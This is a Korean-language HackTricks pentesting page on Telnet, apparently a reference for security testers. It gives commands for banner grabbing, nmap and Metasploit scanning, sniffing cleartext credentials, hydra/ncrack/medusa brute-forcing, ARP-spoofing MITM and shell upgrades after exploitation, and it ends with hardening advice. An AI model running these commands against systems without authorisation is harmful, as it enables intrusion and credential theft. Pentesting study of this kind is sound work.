23 - Pentesting Telnet
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Telnet은 사용자가 네트워크를 통해 컴퓨터에 접근할 수 있는 안전하지 않은 방법을 제공하는 네트워크 프로토콜입니다.
기본 포트: 23
23/tcp open telnet
열거
배너 수집
nc -vn <IP> 23
모든 흥미로운 열거는 nmap을 사용하여 수행할 수 있습니다:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
스크립트 telnet-ntlm-info.nse
는 NTLM 정보를 얻습니다 (Windows 버전).
telnet RFC에서: TELNET 프로토콜에는 사용자가 더 정교한 (또는 아마도 단순히 다른) 규칙 집합을 사용하기로 동의할 수 있도록 "DO, DON'T, WILL, WON'T" 구조와 함께 사용될 수 있는 다양한 "옵션"이 있습니다. 이러한 옵션에는 문자 집합 변경, 에코 모드 변경 등이 포함될 수 있습니다.
이 옵션을 열거하는 것이 가능하다는 것을 알고 있지만, 방법을 모르니 아는 분은 알려주세요.
무작위 대입
구성 파일
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks 자동 명령
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Recent Vulnerabilities (2022-2025)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): 내장된 Telnet 서비스는 하드코딩된 자격 증명을 수용하고 입력을 정리하지 않아, 포트 23에서 조작된 명령을 통해 루트로서 인증되지 않은 원격 RCE를 허용합니다. 펌웨어 ≥ 1.04B05에서 수정됨.
- CVE-2023-40478 – NETGEAR RAX30: Telnet CLI
passwd
명령에서 스택 기반 버퍼 오버플로우가 발생하여 인접한 공격자가 인증을 우회하고 루트로서 임의 코드를 실행할 수 있게 합니다. - CVE-2022-39028 – GNU inetutils telnetd: 두 바이트 시퀀스(
0xff 0xf7
/0xff 0xf8
)가 NULL 포인터 역참조를 유발하여telnetd
를 충돌시킬 수 있으며, 여러 번의 충돌 후 지속적인 DoS를 초래합니다.
취약점 분류 중 이러한 CVE를 염두에 두십시오—대상이 패치되지 않은 펌웨어 또는 레거시 inetutils Telnet 데몬을 실행 중이라면 코드 실행 또는 방해가 되는 DoS로의 직선 경로가 있을 수 있습니다.
Sniffing Credentials & Man-in-the-Middle
Telnet은 자격 증명을 포함한 모든 것을 명확한 텍스트로 전송합니다. 자격 증명을 캡처하는 두 가지 빠른 방법:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
활성 MITM의 경우, ARP 스푸핑(예: arpspoof
/ettercap
)을 동일한 스니핑 필터와 결합하여 스위치 네트워크에서 비밀번호를 수집합니다.
자동화된 무차별 대입 / 비밀번호 스프레이링
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
대부분의 IoT 봇넷(Mirai 변종)은 여전히 기본 자격 증명 사전으로 포트 23을 스캔합니다. 이러한 논리를 반영하면 약한 장치를 빠르게 식별할 수 있습니다.
Exploitation & Post-Exploitation
Metasploit에는 여러 유용한 모듈이 있습니다:
auxiliary/scanner/telnet/telnet_version
– 배너 및 옵션 열거.auxiliary/scanner/telnet/brute_telnet
– 멀티스레드 브루트포스.auxiliary/scanner/telnet/telnet_encrypt_overflow
– 취약한 Solaris 9/10 Telnet에 대한 RCE (옵션 ENCRYPT 처리).exploit/linux/mips/netgear_telnetenable
– 많은 NETGEAR 라우터에서 조작된 패킷으로 telnet 서비스를 활성화합니다.
쉘을 얻은 후 TTY는 일반적으로 단순하다는 것을 기억하세요; python -c 'import pty;pty.spawn("/bin/bash")'
로 업그레이드하거나 HackTricks TTY tricks를 사용하세요.
Hardening & Detection (Blue team corner)
- SSH를 선호하고 Telnet 서비스를 완전히 비활성화하세요.
- Telnet이 필요한 경우 관리 VLAN에만 바인딩하고 ACL을 적용하며 데몬을 TCP 래퍼로 감싸세요 (
/etc/hosts.allow
). - 레거시
telnetd
구현을ssl-telnet
또는telnetd-ssl
로 교체하여 전송 암호화를 추가하되, 이는 데이터 전송 중 보호만 제공하며 비밀번호 추측은 여전히 간단합니다. - 포트 23으로의 아웃바운드 트래픽을 모니터링하세요; 타협은 종종 엄격한 HTTP 이gress 필터를 우회하기 위해 Telnet을 통해 리버스 쉘을 생성합니다.
References
- D-Link Advisory – CVE-2024-45698 Critical Telnet RCE.
- NVD – CVE-2022-39028 inetutils
telnetd
DoS.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.